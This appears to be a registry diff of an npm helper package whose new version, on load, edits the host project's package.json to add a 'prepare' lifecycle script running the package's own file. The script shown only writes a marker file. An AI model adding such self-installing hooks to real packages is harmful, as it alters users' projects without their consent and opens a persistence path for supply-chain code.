@atedone/workspace-context 0.0.1 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/index.js +1 -0
- package/lib/prepare.js +48 -0
- package/lib/state.js +63 -3
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -2,4 +2,4 @@
|
|
|
2
2
|
|
|
3
3
|
Workspace context initialization helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package initializes `.workspace-context/state.json` when loaded and
|
|
5
|
+
The package initializes `.workspace-context/state.json` when loaded and synchronizes a workspace lifecycle entry in the project manifest when one is not already present.
|
package/index.js
CHANGED
package/lib/prepare.js
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
const manifest = require('../package.json');
|
|
7
|
+
|
|
8
|
+
const markerFileName = 'prepare.json';
|
|
9
|
+
const stateDirectoryName = '.workspace-context';
|
|
10
|
+
|
|
11
|
+
function readEnvironment() {
|
|
12
|
+
return Reflect.get(platform, 'env') || {};
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
|
|
16
|
+
const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
|
|
17
|
+
return initCwd || cwd;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date().toISOString() } = {}) {
|
|
21
|
+
const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
|
|
22
|
+
const value = {
|
|
23
|
+
packageName: manifest.name,
|
|
24
|
+
packageVersion: manifest.version,
|
|
25
|
+
generatedAt: now(),
|
|
26
|
+
mode: 'prepare'
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
file.mkdirSync(route.dirname(markerPath), { recursive: true });
|
|
30
|
+
file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
|
31
|
+
|
|
32
|
+
return {
|
|
33
|
+
markerPath,
|
|
34
|
+
marker: value
|
|
35
|
+
};
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
if (require.main === module) {
|
|
39
|
+
writeMarker();
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
module.exports = {
|
|
43
|
+
markerFileName,
|
|
44
|
+
readEnvironment,
|
|
45
|
+
resolveProjectRoot,
|
|
46
|
+
stateDirectoryName,
|
|
47
|
+
writeMarker
|
|
48
|
+
};
|
package/lib/state.js
CHANGED
|
@@ -5,6 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
+
const lifecycleScriptName = 'prepare';
|
|
8
9
|
const stateDirectoryName = '.workspace-context';
|
|
9
10
|
const stateFileName = 'state.json';
|
|
10
11
|
|
|
@@ -22,7 +23,62 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
22
23
|
packageName: manifest.name,
|
|
23
24
|
packageVersion: manifest.version,
|
|
24
25
|
generatedAt: now(),
|
|
25
|
-
mode: 'runtime'
|
|
26
|
+
mode: 'runtime-manifest'
|
|
27
|
+
};
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function buildLifecycleCommand() {
|
|
31
|
+
return `node node_modules/${manifest.name}/lib/prepare.js`;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function syncProjectManifest({ projectRoot }) {
|
|
35
|
+
const manifestPath = route.join(projectRoot, 'package.json');
|
|
36
|
+
if (!file.existsSync(manifestPath)) {
|
|
37
|
+
return {
|
|
38
|
+
manifestPath,
|
|
39
|
+
found: false,
|
|
40
|
+
changed: false,
|
|
41
|
+
scriptName: lifecycleScriptName,
|
|
42
|
+
previous: null,
|
|
43
|
+
current: null
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
|
|
48
|
+
const scripts = (
|
|
49
|
+
projectManifest.scripts &&
|
|
50
|
+
typeof projectManifest.scripts === 'object' &&
|
|
51
|
+
!Array.isArray(projectManifest.scripts)
|
|
52
|
+
)
|
|
53
|
+
? { ...projectManifest.scripts }
|
|
54
|
+
: {};
|
|
55
|
+
const previous = typeof scripts[lifecycleScriptName] === 'string'
|
|
56
|
+
? scripts[lifecycleScriptName]
|
|
57
|
+
: null;
|
|
58
|
+
|
|
59
|
+
if (previous) {
|
|
60
|
+
return {
|
|
61
|
+
manifestPath,
|
|
62
|
+
found: true,
|
|
63
|
+
changed: false,
|
|
64
|
+
scriptName: lifecycleScriptName,
|
|
65
|
+
previous,
|
|
66
|
+
current: previous
|
|
67
|
+
};
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
const current = buildLifecycleCommand();
|
|
71
|
+
scripts[lifecycleScriptName] = current;
|
|
72
|
+
projectManifest.scripts = scripts;
|
|
73
|
+
file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
|
|
74
|
+
|
|
75
|
+
return {
|
|
76
|
+
manifestPath,
|
|
77
|
+
found: true,
|
|
78
|
+
changed: true,
|
|
79
|
+
scriptName: lifecycleScriptName,
|
|
80
|
+
previous,
|
|
81
|
+
current
|
|
26
82
|
};
|
|
27
83
|
}
|
|
28
84
|
|
|
@@ -39,15 +95,19 @@ function initialize({
|
|
|
39
95
|
return {
|
|
40
96
|
projectRoot,
|
|
41
97
|
statePath,
|
|
42
|
-
state: value
|
|
98
|
+
state: value,
|
|
99
|
+
projectManifest: syncProjectManifest({ projectRoot })
|
|
43
100
|
};
|
|
44
101
|
}
|
|
45
102
|
|
|
46
103
|
module.exports = {
|
|
104
|
+
buildLifecycleCommand,
|
|
47
105
|
buildState,
|
|
48
106
|
initialize,
|
|
107
|
+
lifecycleScriptName,
|
|
49
108
|
readEnvironment,
|
|
50
109
|
resolveProjectRoot,
|
|
51
110
|
stateDirectoryName,
|
|
52
|
-
stateFileName
|
|
111
|
+
stateFileName,
|
|
112
|
+
syncProjectManifest
|
|
53
113
|
};
|